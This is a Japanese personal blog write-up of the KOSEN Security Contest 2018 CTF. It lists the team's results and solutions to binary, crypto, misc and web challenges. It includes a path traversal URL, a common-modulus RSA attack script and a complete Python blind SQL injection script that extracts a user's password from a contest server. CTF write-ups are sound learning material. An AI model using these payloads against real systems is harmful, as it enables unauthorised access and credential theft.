Ecasdqina's MEMO

Ecasdqina's MEMO.

メモ帳.

高専セキュリティコンテスト2018 Write-up

9月1日─2日に高専セキュリティコンテストにリモートで参加したので Write-up を書きます。

チーム

チーム名 : Secure Beat(SB)
チームメンバ(Twitter ID) : yfba_, cotton392, zono_0317, world_of_dawn

結果

順位 : 6位
チーム得点 : 2350
個人得点 : 2000
f:id:ecasd-qina:20180902224726j:plain

ぼくが解いた問題

f:id:ecasd-qina:20180902224813p:plain

Write-up

Binary

まどわされるな - 100

実行するとフラッグの半分が得られるのでもう片方を探す。
$ binwalk file.out をすると JPEG がくっついているのが分かるので $ foremost file.out で取り出すと残りのフラッグが現れるのでくっつけて終わり。
f:id:ecasd-qina:20180902225604p:plain

Crypto

exchangeable if - 100

画像を見てみるとフラッグのうち4文字が xxxx となって読めないので、どうにかして探す。
$ file out.jpeg などとして画像の description を見るとなんらかの値の md5 によるハッシュ値が入っているので、フラッグのハッシュ値だと仮定して4文字を全探索した。
f:id:ecasd-qina:20180902231911p:plain

シンプルな QR コード - 200

画像を開くと QR コードの右半分が載っているので world_of_dawn に text に変換してもらって strong-qr-decoder でデコードした。
f:id:ecasd-qina:20180902232616p:plain

RSA? - 300

冪演算の無い世界ということで積演算を考えれば、割って終わり。

f:id:ecasd-qina:20180902233317p:plain

CMA - 300

その名の通り Common Modulus Attack をすれば終わり。

import gmpy, binascii, sys

def common_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    m = (v * w) % n
    return m


if __name__ == '__main__':
    n  = hoge
    e1 = 28403731
    e2 = 17150467
    c1 = fuga
    c2 = hemi
    ans = common_modulus_attack(c1, c2, e1, e2, n)
    print(binascii.unhexlify(hex(ans)[2:]))

f:id:ecasd-qina:20180902233953p:plain

Misc

更新されたIoT対応デバイス - 50

Wikipedia に載っていた。

RFC 7168 - The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)

SCKOSEN{7168}

謎のファイル - 100

解凍すると xml ファイルとかが入っているので検索すると OOXML というものらしい、rename_me.xml というファイルが入っているのでこれを [Content_Types].xml に変更して zip 圧縮して office soft で開くとフラグが出てくる。 f:id:ecasd-qina:20180902235123p:plain

ディスクが足りない! - 100

よくわからないけど解凍したら出てきた。
f:id:ecasd-qina:20180903000631p:plain

攻撃ログ - 300

流石になにかしらユニーク性があるはずなので適当に探すと見つかる。
f:id:ecasd-qina:20180903001557p:plain

Web

サーバーから情報を抜き出せ! - 100

画像の URL を見てみるとディレクトリトラバーサルが出来そうなのでする、以下にアクセスするとフラグがある。
http://cheat.kosensc2018.tech/image?filename=%2E%2E%2Fflag.txt
f:id:ecasd-qina:20180903143537p:plain

アカウントを奪え - 300

SQL インジェクションを試すとソースコードが書かれたページに飛ばされる、これを使って成功したかどうかが分かるので Blind SQL Injection が出来る。

[2018-09-03] : 二分探索を用いて高速化しました、かなり早くなったと思います。

import requests
url = "http://bsql.kosensc2018.tech/"


def check_length(t):
    sql = '1\' OR (SELECT LENGTH(pass) FROM user WHERE userid = \'kosenjoh\') <= {counter} ; --'.format(counter = t)
    payload = {
        'userid' : 'kosenjoh',
        'pass' : sql
    }
    response = requests.post(url, data=payload)
    
    return len(response.text) > 2000

def get_flag_length():
    ok, ng = 1000, 0

    while ok - ng > 1:
        mid = (ok + ng) // 2;

        if check_length(mid):
            ok = mid
        else:
            ng = mid
    
    return ok

def check_flag_ascii(index, t):
    char = chr(t)
    sql = '1\' OR SUBSTR((SELECT pass FROM user WHERE userid = \'kosenjoh\'), {index}, 1) <= \'{char}\' --'.format(index = index, char = char)
    payload = {
        'userid' : 'kosenjoh',
        'pass' : sql,
    }
    response = requests.post(url, data=payload)
    
    return len(response.text) > 2000

def get_flag_ascii(index):
    ok, ng = 124, 48
    
    while ok - ng > 1:
        mid = (ok + ng) // 2;
        
        if check_flag_ascii(index, mid):
            ok = mid
        else:
            ng = mid
    
    return chr(ok)

def get_flag():
    l = get_flag_length()
    flag = ""

    for index in range(1, l + 1):
        flag += get_flag_ascii(index)

    return flag

if __name__ == "__main__":
    print(get_flag())

おわりに

個人2000点は MVP では???(イキり)